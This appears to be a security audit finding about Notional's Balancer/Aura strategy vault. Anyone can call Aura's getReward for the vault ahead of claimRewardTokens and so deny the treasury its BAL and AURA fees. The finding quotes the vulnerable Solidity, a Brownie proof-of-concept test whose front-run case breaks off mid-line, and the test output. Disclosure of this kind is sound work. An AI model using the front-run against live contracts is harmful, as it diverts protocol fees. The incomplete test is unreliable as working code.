MEDIUM severity: The vulnerability allows malicious users to deny Notional Treasury from receiving fees when rewards . The vulnerability allows malicious users to deny Notional Treasury from receiving fees when rewards are reinvested. This occurs when a malicious user front-runs a call to claim rewards tokens, effectively preventing the Notional Treasury from receiving a portion of the accrued BAL and AURA as fees.\...

Vulnerable code:
```\nfunction claimRewardTokens() external returns (uint256[] memory claimedBalances) {\n    uint16 feePercentage = BalancerVaultStorage.getStrategyVaultSettings().feePercentage;\n    IERC20[] memory rewardTokens = _rewardTokens();\n\n    uint256 numRewardTokens = rewardTokens.length;\n\n    claimedBalances = new uint256[](numRewardTokens);\n\n    for (uint256 i = 0; i < numRewardTokens; i++) {\n        claimedBalances[i] = rewardTokens[i].balanceOf(address(this));\n    }\n\n    AURA_REWARD_POOL.getReward(address(this), true);\n\n    for (uint256 i = 0; i < numRewardTokens; i++) {\n        claimedBalances[i] = rewardTokens[i].balanceOf(address(this)) - claimedBalances[i];\n\n        if (claimedBalances[i] > 0 && feePercentage!= 0 && FEE_RECEIVER!= address(0)) {\n            uint256 feeAmount = claimedBalances[i] * feePercentage / BalancerConstants.VAULT_PERCENT_BASIS;\n            rewardTokens[i].transfer(FEE_RECEIVER, feeAmount);\n            claimedBalances[i] -= feeAmount;\n        }\n    }\n\n    emit BalancerEvents.ClaimedRewardTokens(rewardTokens, claimedBalances);\n}\n```\n```\n/**\n * @dev Gives a staker their rewards, with the option of claiming extra rewards\n * @param _account     Account for which to claim\n * @param _claimExtras Get the child rewards too?\n */\nfunction getReward(address _account, bool _claimExtras) public returns (bool) {\n    uint256 reward = earned(_account);\n    if (reward > 0) {\n        rewards[_account] = 0;\n        rewardToken.safeTransfer(_account, reward);\n        IDeposit(operator).rewardClaimed(pid, _account, reward);\n        emit RewardPaid(_account, reward);\n    }\n\n    // also get rewards from linked rewards\n    if (_claimExtras) {\n        for (uint i = 0; i < extraRewards.length; i++) {\n            IRewards(extraRewards[i]).getReward(_account);\n        }\n    }\n    return true;\n}\n\nmodifier updateReward(address account) {\n    rewardPerTokenStored = rewardPerToken();\n    lastUpdateTime = lastTimeRewardApplicable();\n    if (account!= address(0)) {\n        rewards[account] = earned(account);\n        userRewardPerTokenPaid[account] = rewardPerTokenStored;\n    }\n    _\n}\n\nfunction earned(address account) public view returns (uint256) {\n    return balanceOf(account).mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);\n}\n```\n```\nimport pytest\nfrom brownie import ZERO_ADDRESS, Wei, accounts, interface\nfrom tests.fixtures import *\nfrom tests.balancer.helpers import enterMaturity, get_metastable_amounts\nfrom scripts.common import get_univ3_single_data, get_univ3_batch_data, DEX_ID, TRADE_TYPE\n\nchain = Chain()\n\ndef test_claim_rewards_success(StratStableETHstETH):\n    (env, vault) = StratStableETHstETH\n    primaryBorrowAmount = 100e8\n    depositAmount = 50e18\n    enterMaturity(env, vault, 1, 0, depositAmount, primaryBorrowAmount, accounts[0])\n    chain.sleep(3600 * 24 * 365)\n    chain.mine()\n    feeReceiver = vault.getStrategyContext()["baseStrategy"]["feeReceiver"]\n    feePercentage = vault.getStrategyContext()["baseStrategy"]["vaultSettings"]["feePercentage"] / 1e2\n    assert env.tokens["BAL"].balanceOf(vault.address) == 0\n    assert env.tokens["AURA"].balanceOf(vault.address) == 0\n    assert env.tokens["BAL"].balanceOf(feeReceiver) == 0\n    assert env.tokens["AURA"].balanceOf(feeReceiver) == 0\n\n    vault.claimRewardTokens({"from": accounts[1]})\n\n    assert env.tokens["BAL"].balanceOf(feeReceiver) > 0\n    assert env.tokens["AURA"].balanceOf(feeReceiver) > 0\n\ndef test_claim_rewards_success_frontrun(StratStableETHstETH):\n    (env, vault) = StratStableETHstETH\n    primaryBorrowAmount = 100e8\n    depositAmount = 50e18\n    enterMaturity(env, vault, 1, 0, depositAmount, primaryBorrowAmount, accounts[0])\n    chain.sleep(3600 * 24 * 365)\n    chain.mine()\n    feeReceiver = vault.getStrategyContext()["baseStrategy"]["feeReceiver"]\n    feePercentage = vault.getStrategyContext()["baseStrategy"]["vaultSettings"]["feePercentage"] / 1e2\n    assert env.tokens["BAL"].balanceOf(vault.address) == 0\n    assert env.tokens["AURA"].balanceOf(vault.address) == 0\n    assert env.tokens["BAL"].balanceOf(feeReceiver) == 0\n    assert env.tokens["A\n```\n```\nbrownie test tests/balancer/rewards/test_rewards_stable_eth_steth.py --network mainnet-fork\nBrownie v1.18.1 - Python development framework for Ethereum\n\n=============================================================================================== test session starts ===============================================================================================\n\nplatform linux -- Python 3.8.10, pytest-6.2.5, py-1.11.0, pluggy-1.0.0\nplugins: eth-brownie-1.18.1, hypothesis-6.27.3, forked-1.4.0, xdist-1.34.0, web3-5.27.0\n\ncollected 2 items\n\ntests/balancer/rewards/test_rewards_stable_eth_steth.py..\nAttached to local RPC client listening at '127.0.0.1:8545'\n\n========================================================================================== 2 passed, 1 warning in 5.72s ===========================================================================================\n```